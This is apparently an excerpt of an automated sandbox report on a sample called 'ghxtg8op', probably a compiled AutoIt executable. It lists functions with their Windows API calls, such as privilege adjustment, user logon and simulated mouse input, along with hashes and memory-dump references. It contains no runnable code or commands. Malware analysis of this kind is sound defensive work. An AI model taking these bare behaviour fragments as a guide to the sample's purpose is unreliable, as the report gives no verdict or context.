Opcode Fuzzy Hash: 3e7525298dfd38285cc62bbd7221facf61c1498c667061858ffe37dcd7fe954b
Instruction Fuzzy Hash: 52212F35A00209DFCB00DF95D894AEEFBB9FF49314F1480AAE905EB352DB319955CB61

Function 00D987E1 Relevance: 4.6, APIs: 3, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00D60DB6: std::exception::exception.LIBCMT ref: 00D60DEC
Part of subcall function 00D60DB6: __CxxThrowException@8.LIBCMT ref: 00D60E01

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00D9882B
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00D98858
GetLastError.KERNEL32 ref: 00D98865

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: AdjustErrorException@8LastLookupPrivilegePrivilegesThrowTokenValuestd::exception::exception
String ID:
API String ID: 1922334811-0
Opcode ID: a60f1e09a2c44f3164215fedc1cd5bd87453664d99fea228052a50a9ae10e97a
Instruction ID: 321579c25f5af8cdb6a1ed90de470281cf02b57ed5520550b1719a0f44f9cf3c
Opcode Fuzzy Hash: a60f1e09a2c44f3164215fedc1cd5bd87453664d99fea228052a50a9ae10e97a
Instruction Fuzzy Hash: F9118FB2514305AFEB28DFA4EC85D6BBBF9EB45710B20852EF45597641EB30BC408B70

Function 00D9874B Relevance: 4.5, APIs: 3, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00D98774
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 00D9878B
FreeSid.ADVAPI32(?), ref: 00D9879B

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 8178b7f5ace054156bbfa0e2dabdaa7c4b45e1859c765b93aaa0c8b684542856
Instruction ID: 55c591eaa69b7e89489d77126840d92352a05863ed4d99ab9db612068edc3c4d
Opcode Fuzzy Hash: 8178b7f5ace054156bbfa0e2dabdaa7c4b45e1859c765b93aaa0c8b684542856
Instruction Fuzzy Hash: 73F04F7591130EBFDF00DFF4DC89EEDB7BDEF08601F104469A901E2281D6715A049B60

Function 00DA8889 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

__time64.LIBCMT ref: 00DA889B

Part of subcall function 00D6520A: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,00DA8F6E,00000000,?,?,?,?,00DA911F,00000000,?), ref: 00D65213
Part of subcall function 00D6520A: __aulldiv.LIBCMT ref: 00D65233

Strings

0e, xrefs: 00DA8892

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Time$FileSystem__aulldiv__time64
String ID: 0e
API String ID: 2893107130-533242481
Opcode ID: 0f664c758f6f19426b019daa732781f5810cf5f94cfd338efa1e9c176db2d3bb
Instruction ID: a761a63e8d3205a4da022af946d801a6ce41bf7cc09ffaf3efffd41a533727ae
Opcode Fuzzy Hash: 0f664c758f6f19426b019daa732781f5810cf5f94cfd338efa1e9c176db2d3bb
Instruction Fuzzy Hash: A521A2326356108FC729CF35D841B52B3E1EBA9311B688E6CD4F5CB2D0CE35A945DB64

Function 00DAC6D1 Relevance: 3.1, APIs: 2, Instructions: 52fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00DAC6FB
FindClose.KERNEL32(00000000), ref: 00DAC72B

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: fb7437d492c9ff3afe09824e54cb93a34a52bba1dba91fca8a397d4a8d4875e4
Instruction ID: ce725573e416f86b8c7ad33ba273000a9cf1788393d08870c88644b116ea335e
Opcode Fuzzy Hash: fb7437d492c9ff3afe09824e54cb93a34a52bba1dba91fca8a397d4a8d4875e4
Instruction Fuzzy Hash: 58118E726002059FDB10DF29C855A6AF7E9EF85320F00851EF8A9D7390DB30E801CFA1

Function 00DAA06A Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,00000016,?,00DB9468,?,00DCFB84,?), ref: 00DAA097
FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,00000016,?,00DB9468,?,00DCFB84,?), ref: 00DAA0A9

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: f8fcc1bc8ec2239d6b37d23b4e0d08ccd27a2de527fb30e6e65147cd299d1676
Instruction ID: 3526aa566865231aff0e559bd31cb87ad349ed95fe0bc943926195069a809e30
Opcode Fuzzy Hash: f8fcc1bc8ec2239d6b37d23b4e0d08ccd27a2de527fb30e6e65147cd299d1676
Instruction Fuzzy Hash: 6CF0823550522EBBDB619FA8CC48FEA776DFF09361F008665F919D6281D7309940CBB1

Function 00D981CB Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00D98309), ref: 00D981E0
CloseHandle.KERNEL32(?), ref: 00D981F2

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: b3197a10bc569d80fe08753f1405a4302b5ed7f735ae42e7d1e71404dc704011
Instruction ID: cca949b53e8f7426ad3214c12bf3217376c63c01e1335753772bb4a4bbb6762b
Opcode Fuzzy Hash: b3197a10bc569d80fe08753f1405a4302b5ed7f735ae42e7d1e71404dc704011
Instruction Fuzzy Hash: 69E0E672010711AFE7256B60EC05D777BEAEF043107148C2DF455C4471DB62AC91DB30

Function 00D6A155 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00D6A15A
UnhandledExceptionFilter.KERNEL32(?), ref: 00D6A163

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 4bb422965853acae258acf8d19e21d7b4d648b9758e96b57a85b76e15d88fb47
Instruction ID: 6bd045144d36314646c62453ce30d13cefd4f6d721ccb4f4a9f49b231469b4f3
Opcode Fuzzy Hash: 4bb422965853acae258acf8d19e21d7b4d648b9758e96b57a85b76e15d88fb47
Instruction Fuzzy Hash: C6B0923105434BBBCA002B91EC09FC83F6AEB84AA2F404020FA0DC4260CB6256528AA1

Function 00D6F1D9 Relevance: 2.1, APIs: 1, Instructions: 645COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3dac0c0d4b03b25160ccdf2a07c6b3ae46bc27b9a316d2e10892a40dfc48904
Instruction ID: bc6cb260328b5c487220f322cf73bd83a305dc281bea8e877bfc00eb13352224
Opcode Fuzzy Hash: f3dac0c0d4b03b25160ccdf2a07c6b3ae46bc27b9a316d2e10892a40dfc48904
Instruction Fuzzy Hash: A0320622D6AF414ED7239638D872339A389AFB73C4F55D737F819B5AA5EB28C4834110

Function 00D7242E Relevance: 1.8, APIs: 1, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b9b57c9666998094d28bc7ada2979c2828d87a50b613e8cb564f4935b02965d
Instruction ID: 46950106a68e3bbb2982c29390524f235b40dd36f9709ccbbf9b731604ec66b8
Opcode Fuzzy Hash: 3b9b57c9666998094d28bc7ada2979c2828d87a50b613e8cb564f4935b02965d
Instruction Fuzzy Hash: B0B1E220D2AF414DD72396398831336B75CAFBB2D5F52D71BFC6AB4E22EB2185834151

Function 00DA4C53 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

mouse_event.USER32(00000004,00000000,00000000,00000000,00000000), ref: 00DA4C76

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: mouse_event
String ID:
API String ID: 2434400541-0
Opcode ID: 8778ec7e5e48d524938d2371247421bfecd2ef5a9134f16342239f4a2f94af45
Instruction ID: d99a24755a165e45bdb14d780e219d075b8aa976dd712756d9ee1fd9b400370d
Opcode Fuzzy Hash: 8778ec7e5e48d524938d2371247421bfecd2ef5a9134f16342239f4a2f94af45
Instruction Fuzzy Hash: 54D05EA012220978EC6807208D4BFBAA109E3C27B1F98A14A7289C51C0E8E09801A034

Function 00D987B1 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

LogonUserW.ADVAPI32(?,00000001,?,?,00000000,00D98389), ref: 00D987D1

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: LogonUser
String ID:
API String ID: 1244722697-0
Opcode ID: 722259240180c8f436a9edb6d8c16e1645cc2d476fd6190bacec8eacfcd9e3b5
Instruction ID: f49b1ec90247dbb959a382912a5dbba3ad30151e10d5a86c494e68a38186654b
Opcode Fuzzy Hash: 722259240180c8f436a9edb6d8c16e1645cc2d476fd6190bacec8eacfcd9e3b5
Instruction Fuzzy Hash: E1D09E3226460EABEF019FA4DD05EEE3B6AEB04B01F408511FE15D51A1C775D935AB60

Function 00D6A124 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00D6A12A

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: ce3273ea63ce8096ea190a9956d12437ab05fe822a4658ec9a80be928e50918d
Instruction ID: 5fab3f07f529ed7e50d760a3439acec3ef97946ff1932ad995580ec7094276d2
Opcode Fuzzy Hash: ce3273ea63ce8096ea190a9956d12437ab05fe822a4658ec9a80be928e50918d
Instruction Fuzzy Hash: E4A0123000020EB78A001B41EC048847F5DD6401907004020F40C80121873255114590

Function 00D58808 Relevance: .6, Instructions: 590COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52847b89eba096502155f3bf45d41e44164a1778acfbf80633943fb99d890c9c
Instruction ID: 56394ad275ed4b6d074c7d4ade7c3735c23db2d102574d7c18e697e394bee0d3
Opcode Fuzzy Hash: 52847b89eba096502155f3bf45d41e44164a1778acfbf80633943fb99d890c9c
Instruction Fuzzy Hash: 5B224530604606CBDF2A8B24D49477C77A1FB01346F2C807ADD96AB59ADB30DD89EB71

Function 00D621C5 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction ID: b7ce6156de22779d9996842d0a9694713f5307f360e994ccaa548b9a059b0f12
Opcode Fuzzy Hash: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction Fuzzy Hash: 8FC181362095930BDF6D463A847403EFAA15EA27B131E076DD8F3CB1D4EE24D965EA30

Function 00D625FA Relevance: .3, Instructions: 341COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction ID: 9f177d32296d99122c62ae0df140f6fd8f2d83b0869396fd4615aa3ed02a579c
Opcode Fuzzy Hash: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction Fuzzy Hash: CDC171362055930BDF6D463AC83453EBBA15EA27B131E076DD4F2DB1D5EE20C925EA30

Function 00D61978 Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction ID: 36cab6f04b09db16ac0cea461bfd09b6429a1042bb8460f19705729b7d8718d5
Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction Fuzzy Hash: 13C16E3A2091930BDF6D463AC47413EFAA15EA27B231E176DD4B3CB1D4EE20C965DA70

Function 00995108 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.486369482.0000000000991000.00000040.00000020.00020000.00000000.sdmp, Offset: 00991000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_991000_ghxtg8op.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
Instruction ID: 033c2eac7ef82f7c9c8e3f20c8299b7eccc27741c91c1f5114df7a397519b45f
Opcode Fuzzy Hash: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
Instruction Fuzzy Hash: 9C41D571D1051CDBCF48CFADC991AEEBBF2AF88201F548299D516AB345D730AB41DB40

Function 00DB7806 Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 491filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00DB785B
DeleteObject.GDI32(00000000), ref: 00DB786D
DestroyWindow.USER32 ref: 00DB787B
GetDesktopWindow.USER32 ref: 00DB7895
GetWindowRect.USER32(00000000), ref: 00DB789C
SetRect.USER32 ref: 00DB79DD
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000002), ref: 00DB79ED
CreateWindowExW.USER32 ref: 00DB7A35
GetClientRect.USER32(00000000,?,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00DB7A41
CreateWindowExW.USER32 ref: 00DB7A7B
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000), ref: 00DB7A9D
GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00DB7AB0
GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00DB7ABB
GlobalLock.KERNEL32(00000000), ref: 00DB7AC4
ReadFile.KERNEL32(00000000,00000000,00000000,00000190,00000000), ref: 00DB7AD3
GlobalUnlock.KERNEL32(00000000), ref: 00DB7ADC
CloseHandle.KERNEL32(00000000), ref: 00DB7AE3
GlobalFree.KERNEL32(00000000), ref: 00DB7AEE
CreateStreamOnHGlobal.OLE32(00000000,00000001,88C00000), ref: 00DB7B00
OleLoadPicture.OLEAUT32(88C00000,00000000,00000000,00DD2CAC,00000000), ref: 00DB7B16
GlobalFree.KERNEL32(00000000), ref: 00DB7B26
CopyImage.USER32 ref: 00DB7B4C
SendMessageW.USER32(?,00000172,00000000,000001F4), ref: 00DB7B6B
SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000020), ref: 00DB7B8D
ShowWindow.USER32(00000004), ref: 00DB7D7A

Strings

DISPLAY, xrefs: 00DB7BDD
static, xrefs: 00DB7A75, 00DB7BCC
, xrefs: 00DB7D00
AutoIt v3, xrefs: 00DB7A2D

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: ea3ab31e4052e393d1050288cf4863c789f10b102cab4f81ba50b88624f16214
Instruction ID: 59aadca759f24d2a01e6381c1e063443172a7daa11373ba5620381f54bec9af6
Opcode Fuzzy Hash: ea3ab31e4052e393d1050288cf4863c789f10b102cab4f81ba50b88624f16214
Instruction Fuzzy Hash: 9D022871900216EFDB14DFA9DC89EAEBBB9EB48310F148158F916EB2A1C7319D41CB70

Function 00DC356B Relevance: 51.1, APIs: 6, Strings: 23, Instructions: 365windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00DC3627
IsWindowVisible.USER32(?), ref: 00DC364B

Strings

ISCHECKED, xrefs: 00DC3839
SENDCOMMANDID, xrefs: 00DC39DA
ISVISIBLE, xrefs: 00DC3637
TABRIGHT, xrefs: 00DC369D
FINDSTRING, xrefs: 00DC3776
GETSELECTED, xrefs: 00DC38A3
GETCURRENTLINE, xrefs: 00DC38ED
SHOWDROPDOWN, xrefs: 00DC36E0
GETCURRENTCOL, xrefs: 00DC3928
ISENABLED, xrefs: 00DC366B
HIDEDROPDOWN, xrefs: 00DC3700
UNCHECK, xrefs: 00DC3883
SELECTSTRING, xrefs: 00DC3806
ADDSTRING, xrefs: 00DC3716
CHECK, xrefs: 00DC386D
GETLINE, xrefs: 00DC399B
GETLINECOUNT, xrefs: 00DC38C6
GETCURRENTSELECTION, xrefs: 00DC37E3
SETCURRENTSELECTION, xrefs: 00DC37B6
DELSTRING, xrefs: 00DC3749
EDITPASTE, xrefs: 00DC395F
CURRENTTAB, xrefs: 00DC36BD
TABLEFT, xrefs: 00DC3687

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

